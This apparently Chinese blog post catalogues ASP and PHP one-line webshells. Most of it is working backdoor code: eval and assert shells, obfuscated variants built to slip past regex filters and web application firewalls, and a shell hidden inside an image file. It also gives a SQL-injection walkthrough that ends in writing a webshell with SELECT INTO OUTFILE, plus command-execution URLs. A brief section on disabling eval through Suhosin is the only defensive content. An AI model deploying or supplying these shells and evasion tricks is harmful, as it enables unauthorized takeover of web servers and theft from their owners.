常见的一句话木马

一句话木马入侵原理

<%execute request(“#”)%>是典型的一句话木马服务端代码,将这个代码写入asp文件,就成了一句话木马服务端文件。

仔细观察一下<%execute request(“#”)%>这句代码,括号里的“#”是我们一句话的密码,我们可以把它改成任意字符,这样可以避免别人发现我们的一句话木马后,轻松的通过它捡个大便宜,如果我们上传的一句话代码为<%execute request(“123456″)%>。那么在客户端连接文件里要将textarea name=”#”将其改为对应的textarea name=“123456”,才能连接成功。

一句话木马工作的原理:

将一句话木马插入到asp文件中(包括asa.cdx.cer文件),该语句将会作为触发,接收入侵者通过客户端提交的数据,执行并完成相应的入侵操作。

客户端则用来向服务端提交控制数据,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件。

一句话木马能连接成功有两个前提条件:

一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入WebShell代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话无法写入。

二、权限问题,如果当前的虚拟目录禁止user组或者everyone写入,同样不会成功。

如何启用“一句话”木马拦截功能?

(1)在服务器 wzxStopKeyWord.ini 文件中,设置 blockmuma = 1 表示启用此功能,拦截“一句话”木马。

(2)重启IIS即可生效。

一.eval

eval用法:

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

1 <?phpeval($_POST[password]);?>

二.assert

Assert用法:

assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 。

assert_option()可以用来对assert()进行一些约束和控制

默认值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函数的开关 ASSERT_WARNING=1//当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否启动回调函数 user function to call on failed assertions

可以通过以上方法修改assert后门,达到绕过正则:

1 <?phpassert($_POST[password]);?>

三.变形一句话:

1 <?php$_GET[‘xxoo‘]($_POST[‘cmd‘]);?>

客户端用菜刀,密码cmd,url为test.php?xxoo=assert

1 <?php$_POST[‘xxoo‘]($_POST[‘cmd‘]);?>

这个是直接发post数据包就OK。

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php([email protected]$_GET[password])[email protected]$_($_POST[xxoo])?>

利用方法:http://localhost/password.php?password=asstrt

原理就是get传递参数assert然后形成@[email protected]($_($_POST[xxoo])

1 <?php$_POST[‘password‘]($_POST[‘cmd‘]);?

提交post内容形成assert,eval。

四.通过str_replace替换

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

五.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST[‘h‘],”error”); ?>

谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的”error”正则匹配正确就会$_POST[‘h’]的内容。

那么我们只需要用菜刀<O>[email protected]($_POST[c]);</O>就可以,让h参数执行。

六.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=‘‘; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${‘_‘.$_}[‘_‘](${‘_‘.$_}[‘__‘]);?>

菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])

密码:xxoo

原理分析你只需要让$_拼接打印即可。

七.

1 2 3 <?php ($b4dboy=$_POST[‘1‘])&&@preg_replace(‘/ad/e,,‘@,.str_rot13(‘riny,).,($b4dboy)‘,‘add‘); ?>

‘@’.str_rot13(‘riny’)相当于@eval,然后你懂的。

其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert。

在这里顺便讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子:

SELECT * INTO OUTFILE ‘C:\log1.txt‘

这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面。利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。

本地的目标站点来实战一下,我们的目的是在目标的物理路径D:/WWW/下面生成一个php文件,从而可以使我们用菜刀连接上去

先简单的判断是否存在注入漏洞利用, 使用单引号‘报错, 然后是and 1=1 页面正常 和 and 1=2 页面不正常判断存在sql注入漏洞,现在猜测一下字段数量。

在order by 3的时候会出现错误,2的时候正确于是猜测字段2,现在我们通过union查询语句查询一下当前的用户是谁。

猜测可能是file权限,试试写一下木马到网站路径,木马一定要写16进制。下面我们的一句话是 <?php eval($_POST[ximo]); ?>的16进制

然后菜刀连接即可成功(如有不懂可以联系本人,本人将会将最详细的指导你,仅限妹子)

eval函数简介与PHP一句话木马剖析

一:eval函数

1.eval() 函数把字符串按照 PHP 代码来计算。

2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。

3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

二:eval函数的一般用法

<?php

$string = "beautiful";

$time = "winter";

$str = ‘This is a $string $time morning!‘;

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

输出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函数的特殊用法

eval($_GET["cmd"]);

四:php一句话挂马的原理

1.通过数据库写马:

select "<?php eval($_GET[‘cmd‘])‘?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DB和web在同一台机器的时候可以这样执行

2.通过web写马

<?php

eval($_GET["cmd"]);

?>

访问:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

查看php的shell信息:

http://localhost/aa.php?cmd=phpinfo();

查看当前运行的服务

http://localhost/aa.php?cmd=system("net start");

五:禁用eval函数

无论是linux服务器还是windows服务器,eval命令是非常危险的

如何禁用eval命令

在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin

linux下安装:

php的安装就不写了

suhosin的安装

wget http://download.suhosin.org/suhosin-0.9.23.tgz

tar zxvf suhosin-0.9.23.tgz

cd suhosin-0.9.23

/usr/local/php/bin/phpize //这一步不能省

./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。

make && make install

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

然后在php.ini中增加一行下列语句。

extension=suhosin.so

suhosin.executor.disable_eval = on

像以上的一句话木马都是比较常见的类型,希望各位补充,也方便大家互相学习互相进步,共同在网络上实现自己的梦想

时间: 2024-11-06 13:02:31

常见的一句话木马的相关文章

脚本后门注入图片新方法&lt;图片+一句话木马&gt;

创建一个 shell.php 的一句话木马,通过 window 下 copy 命令 copy 123.png+shell.php  123.png 重新生成一个 123.png 的图片. 上传到服务服务器上,直接拿菜刀连.

各种过安全狗一句话木马

几个变性的asp–过防火墙 过狗效果都不错 <%Y=request("x")%> <%execute(Y)%> <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 这个是90sec发的 <%eval""&("e"&"v"&&

渗透技术--SQL注入写一句话木马原理

讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\log1.txt' 这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面.利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell. 本地的目标站点来实战一下,我们的目的是在目标的物理路径D:/WWW/下面生成一个php文件,从而可以使我们用菜刀连接上去: 先简单的判断

一句话木马

1.一句话说明 常用的一句话有冰狐浪子的一句话,蓝屏的,lack2的,当然还有海洋的.我们如果知道了一句话的原理.自己也可以很轻松的写一个. <%execute(request("cmd"))%> <%execute request("1")%> ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a 2.简单演示 1>.一句话你要写入数据库,数据库必须是asp格式或者我们能够通过备份备份为asp格式.用客户端连接这个asp的数据库.

关于asp、php,jps一句话木马--中国菜刀使用

工具下载地址:http://pan.baidu.com/s/1o6jxAgq 这里的asp后门不指像那些一句话木马.砍客.冰狐.明小子之类的b/s型的,只指像cmd.asp或2005a.asp的. 第一个,来看zzzeva免fso的cmd.asp 代码如下:<form method="post"> <input type=text name="cmd" size=60> <input type=submit value="ru

DBO权限日志备份专用一句话木马 - 寒龙网出品 以前的博客站因为程序错乱改为反病毒联盟后 本博客基于博客园地 感谢关注

备分专用一句话 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小. 日志备分WEBSHELL标准的七步: 1.InjectionURL';alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式) 2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表) 3.InjectionURL';backup lo

常用一句话木马

asp一句话木马: <%execute(request("value"))%> php一句话木马: <?php @eval($_POST[value]);?> aspx一句话木马: <%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%> 其他一句话木马: <%eval request("value")%&g

一句话木马(webshell)是如何执行命令的

在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的分析. 首先我们先看一个原始而又简单的php一句话木马. <?php @eval($_POST['cmd']); ?> 看到这里不得不赞美前辈的智慧. 对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过pos

PHP 一句话木马

eval 函数 eval() 函数把字符串按照 PHP 代码来计算 该字符串必须是合法的 PHP 代码,且必须以分号结尾 如果没有在代码字符串中调用 return 语句,则返回 NULL.如果代码中存在解析错误,则 eval() 函数返回 false eval 函数的一般用法 eval() 函数用于简单的文本合并 <?php $string='cup'; $name='coffee'; $str='This is a $string with my $name in it.'; echo $st